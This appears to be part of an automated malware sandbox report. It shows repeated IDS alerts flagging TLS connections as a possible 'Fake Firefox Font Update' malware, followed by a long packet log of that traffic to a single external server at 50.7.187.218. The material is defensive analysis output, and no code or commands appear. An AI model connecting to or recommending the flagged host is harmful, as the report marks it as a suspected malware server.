2024-11-26T09:39:28.366489+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49773	50.7.187.218	443	TCP
2024-11-26T09:39:30.558807+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49775	50.7.187.218	443	TCP
2024-11-26T09:39:32.727424+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49777	50.7.187.218	443	TCP
2024-11-26T09:39:34.821873+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49779	50.7.187.218	443	TCP
2024-11-26T09:39:36.950461+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49781	50.7.187.218	443	TCP
2024-11-26T09:39:39.147343+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49783	50.7.187.218	443	TCP
2024-11-26T09:39:41.275676+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49785	50.7.187.218	443	TCP
2024-11-26T09:39:43.417014+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49789	50.7.187.218	443	TCP
2024-11-26T09:39:45.739224+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49796	50.7.187.218	443	TCP
2024-11-26T09:39:47.925418+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49803	50.7.187.218	443	TCP
2024-11-26T09:39:50.066597+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49810	50.7.187.218	443	TCP
2024-11-26T09:39:52.161402+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49817	50.7.187.218	443	TCP
2024-11-26T09:39:54.280482+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49824	50.7.187.218	443	TCP
2024-11-26T09:39:56.417637+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49831	50.7.187.218	443	TCP
2024-11-26T09:39:58.550142+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49838	50.7.187.218	443	TCP
2024-11-26T09:40:00.801176+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49845	50.7.187.218	443	TCP
2024-11-26T09:40:02.950972+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49852	50.7.187.218	443	TCP
2024-11-26T09:40:05.091745+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49859	50.7.187.218	443	TCP
2024-11-26T09:40:07.254696+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49866	50.7.187.218	443	TCP
2024-11-26T09:40:09.425427+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49870	50.7.187.218	443	TCP
2024-11-26T09:40:11.592526+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49876	50.7.187.218	443	TCP
2024-11-26T09:40:13.726668+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49881	50.7.187.218	443	TCP
2024-11-26T09:40:15.936904+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49887	50.7.187.218	443	TCP
2024-11-26T09:40:18.061957+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49894	50.7.187.218	443	TCP
2024-11-26T09:40:20.180941+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49900	50.7.187.218	443	TCP
2024-11-26T09:40:22.438790+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49907	50.7.187.218	443	TCP
2024-11-26T09:40:24.742215+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49914	50.7.187.218	443	TCP
2024-11-26T09:40:26.861374+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49921	50.7.187.218	443	TCP
2024-11-26T09:40:29.007334+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49928	50.7.187.218	443	TCP
2024-11-26T09:40:31.208417+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49935	50.7.187.218	443	TCP
2024-11-26T09:40:33.341234+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49942	50.7.187.218	443	TCP
2024-11-26T09:40:35.405275+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49949	50.7.187.218	443	TCP
2024-11-26T09:40:37.498236+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49955	50.7.187.218	443	TCP
2024-11-26T09:40:39.661000+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49962	50.7.187.218	443	TCP
2024-11-26T09:40:42.015913+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49969	50.7.187.218	443	TCP
2024-11-26T09:40:44.180953+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49976	50.7.187.218	443	TCP
2024-11-26T09:40:46.387362+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49983	50.7.187.218	443	TCP
2024-11-26T09:40:48.493864+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49990	50.7.187.218	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 26, 2024 09:38:46.870268106 CET	49730	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:46.870311975 CET	443	49730	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:46.870410919 CET	49730	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:46.874113083 CET	49730	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:46.874185085 CET	443	49730	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:46.874262094 CET	49730	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:47.099425077 CET	49731	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:47.099440098 CET	443	49731	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:47.099533081 CET	49731	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:47.123965025 CET	49731	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:47.123996019 CET	443	49731	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:48.563277960 CET	443	49731	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:48.563344002 CET	49731	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:48.567162037 CET	49731	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:48.567174911 CET	443	49731	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:48.567445993 CET	443	49731	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:48.619901896 CET	49731	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:48.676080942 CET	49731	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:48.723325968 CET	443	49731	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:49.076755047 CET	443	49731	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:49.076826096 CET	443	49731	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:49.077006102 CET	49731	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:49.098165989 CET	49731	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:49.098196983 CET	443	49731	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:49.098212004 CET	49731	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:49.098221064 CET	443	49731	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:49.365808010 CET	49732	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:49.365854979 CET	443	49732	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:49.365981102 CET	49732	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:49.366280079 CET	49732	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:49.366322994 CET	443	49732	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:49.366393089 CET	49732	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:49.386629105 CET	49733	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:49.386678934 CET	443	49733	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:49.386758089 CET	49733	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:49.387291908 CET	49733	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:49.387305021 CET	443	49733	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:50.754190922 CET	443	49733	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:50.754265070 CET	49733	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:50.755697012 CET	49733	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:50.755706072 CET	443	49733	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:50.755959988 CET	443	49733	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:50.757206917 CET	49733	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:50.799335003 CET	443	49733	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:51.267674923 CET	443	49733	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:51.267743111 CET	443	49733	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:51.267832994 CET	49733	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:51.268038034 CET	49733	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:51.268057108 CET	443	49733	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:51.268066883 CET	49733	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:51.268079042 CET	443	49733	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:51.463581085 CET	49734	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:51.463613987 CET	443	49734	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:51.463700056 CET	49734	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:51.472110987 CET	49734	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:51.472217083 CET	443	49734	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:51.472297907 CET	49734	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:51.495465040 CET	49735	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:51.495520115 CET	443	49735	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:51.495611906 CET	49735	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:51.496052027 CET	49735	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:51.496078014 CET	443	49735	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:52.954546928 CET	443	49735	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:52.954771996 CET	49735	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:52.964067936 CET	49735	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:52.964092016 CET	443	49735	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:52.964484930 CET	443	49735	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:52.966177940 CET	49735	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:53.007342100 CET	443	49735	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:53.483617067 CET	443	49735	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:53.483699083 CET	443	49735	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:53.483766079 CET	49735	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:53.484087944 CET	49735	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:53.484110117 CET	443	49735	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:53.484149933 CET	49735	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:53.484158039 CET	443	49735	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:53.693279982 CET	49736	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:53.693327904 CET	443	49736	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:53.693425894 CET	49736	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:53.693573952 CET	49736	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:53.693604946 CET	443	49736	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:53.693698883 CET	49736	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:53.706433058 CET	49737	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:53.706475973 CET	443	49737	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:53.706579924 CET	49737	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:53.706943989 CET	49737	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:53.706964016 CET	443	49737	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:55.168755054 CET	443	49737	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:55.168909073 CET	49737	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:55.170644045 CET	49737	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:55.170654058 CET	443	49737	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:55.171062946 CET	443	49737	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:55.172555923 CET	49737	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:55.215331078 CET	443	49737	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:55.699639082 CET	443	49737	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:55.699709892 CET	443	49737	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:55.699790955 CET	49737	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:55.700066090 CET	49737	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:55.700082064 CET	443	49737	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:55.700093985 CET	49737	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:55.700098991 CET	443	49737	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:55.899390936 CET	49738	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:55.899440050 CET	443	49738	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:55.899537086 CET	49738	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:55.899661064 CET	49738	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:55.899703026 CET	443	49738	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:55.899761915 CET	49738	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:55.909651041 CET	49739	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:55.909684896 CET	443	49739	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:55.909881115 CET	49739	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:55.910104990 CET	49739	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:55.910120964 CET	443	49739	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:57.281054974 CET	443	49739	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:57.281145096 CET	49739	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:57.283329010 CET	49739	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:57.283354044 CET	443	49739	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:57.283688068 CET	443	49739	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:57.285033941 CET	49739	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:57.327374935 CET	443	49739	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:58.091033936 CET	443	49739	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:58.091111898 CET	443	49739	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:58.091236115 CET	49739	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:58.091393948 CET	49739	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:58.091394901 CET	49739	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:58.091417074 CET	443	49739	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:58.091439962 CET	443	49739	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:58.296017885 CET	49740	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:58.296081066 CET	443	49740	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:58.296156883 CET	49740	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:58.296528101 CET	49740	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:58.296576023 CET	443	49740	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:58.296641111 CET	49740	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:58.306890965 CET	49741	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:58.306952953 CET	443	49741	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:58.307059050 CET	49741	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:58.307997942 CET	49741	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:58.308022022 CET	443	49741	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:59.839658976 CET	443	49741	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:59.839817047 CET	49741	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:59.841392040 CET	49741	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:59.841398954 CET	443	49741	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:59.841665030 CET	443	49741	50.7.187.218	192.168.2.4
Nov 26, 2024 09:38:59.845187902 CET	49741	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:38:59.891326904 CET	443	49741	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:00.359160900 CET	443	49741	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:00.359273911 CET	443	49741	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:00.359447002 CET	49741	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:00.359786034 CET	49741	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:00.359797955 CET	443	49741	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:00.359837055 CET	49741	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:00.359843969 CET	443	49741	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:00.554398060 CET	49743	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:00.554436922 CET	443	49743	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:00.554569006 CET	49743	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:00.554678917 CET	49743	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:00.554711103 CET	443	49743	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:00.557063103 CET	49743	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:00.565095901 CET	49744	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:00.565139055 CET	443	49744	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:00.565234900 CET	49744	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:00.565660954 CET	49744	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:00.565685034 CET	443	49744	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:02.030311108 CET	443	49744	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:02.030385971 CET	49744	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:02.040565014 CET	49744	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:02.040594101 CET	443	49744	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:02.040859938 CET	443	49744	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:02.042118073 CET	49744	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:02.083329916 CET	443	49744	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:02.558816910 CET	443	49744	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:02.558903933 CET	443	49744	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:02.559024096 CET	49744	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:02.559349060 CET	49744	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:02.559367895 CET	443	49744	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:02.559390068 CET	49744	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:02.559396982 CET	443	49744	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:02.753504038 CET	49747	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:02.753597021 CET	443	49747	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:02.753812075 CET	49747	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:03.037837029 CET	49747	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:03.037986040 CET	443	49747	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:03.038038015 CET	49747	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:03.061059952 CET	49748	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:03.061084986 CET	443	49748	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:03.061175108 CET	49748	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:03.061501026 CET	49748	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:03.061515093 CET	443	49748	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:04.490936995 CET	443	49748	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:04.491017103 CET	49748	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:04.492701054 CET	49748	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:04.492707968 CET	443	49748	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:04.493043900 CET	443	49748	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:04.516246080 CET	49748	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:04.563333988 CET	443	49748	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:05.009638071 CET	443	49748	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:05.009737015 CET	443	49748	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:05.010056019 CET	49748	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:05.010081053 CET	49748	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:05.010081053 CET	49748	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:05.010099888 CET	443	49748	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:05.010112047 CET	443	49748	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:05.199462891 CET	49751	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:05.199516058 CET	443	49751	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:05.199744940 CET	49751	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:05.199775934 CET	49751	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:05.199884892 CET	443	49751	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:05.199959040 CET	49751	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:05.220071077 CET	49752	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:05.220125914 CET	443	49752	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:05.220218897 CET	49752	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:05.220607996 CET	49752	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:05.220621109 CET	443	49752	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:06.616816044 CET	443	49752	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:06.616914034 CET	49752	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:06.618650913 CET	49752	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:06.618668079 CET	443	49752	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:06.618916988 CET	443	49752	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:06.625735044 CET	49752	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:06.667335987 CET	443	49752	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:07.128916025 CET	443	49752	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:07.128985882 CET	443	49752	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:07.129070997 CET	49752	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:07.129369020 CET	49752	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:07.129386902 CET	443	49752	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:07.336752892 CET	49754	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:07.336801052 CET	443	49754	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:07.336869955 CET	49754	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:07.337390900 CET	49754	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:07.337429047 CET	443	49754	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:07.337472916 CET	49754	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:07.350308895 CET	49755	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:07.350358963 CET	443	49755	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:07.350415945 CET	49755	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:07.351018906 CET	49755	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:07.351036072 CET	443	49755	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:08.762707949 CET	443	49755	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:08.762800932 CET	49755	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:08.767188072 CET	49755	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:08.767200947 CET	443	49755	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:08.767543077 CET	443	49755	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:08.768884897 CET	49755	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:08.815326929 CET	443	49755	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:09.280961990 CET	443	49755	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:09.281044960 CET	443	49755	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:09.281100988 CET	49755	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:09.281461954 CET	49755	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:09.281486988 CET	443	49755	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:09.281500101 CET	49755	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:09.281506062 CET	443	49755	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:09.472891092 CET	49756	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:09.472949028 CET	443	49756	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:09.473059893 CET	49756	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:09.473313093 CET	49756	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:09.473392010 CET	443	49756	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:09.473478079 CET	49756	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:09.483397007 CET	49757	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:09.483464956 CET	443	49757	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:09.483582020 CET	49757	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:09.484061003 CET	49757	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:09.484072924 CET	443	49757	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:10.893903971 CET	443	49757	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:10.894037008 CET	49757	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:10.895529032 CET	49757	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:10.895536900 CET	443	49757	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:10.895778894 CET	443	49757	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:10.905518055 CET	49757	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:10.947325945 CET	443	49757	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:11.412820101 CET	443	49757	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:11.412900925 CET	443	49757	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:11.412966967 CET	49757	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:11.413295984 CET	49757	443	192.168.2.4	50.7.187.218
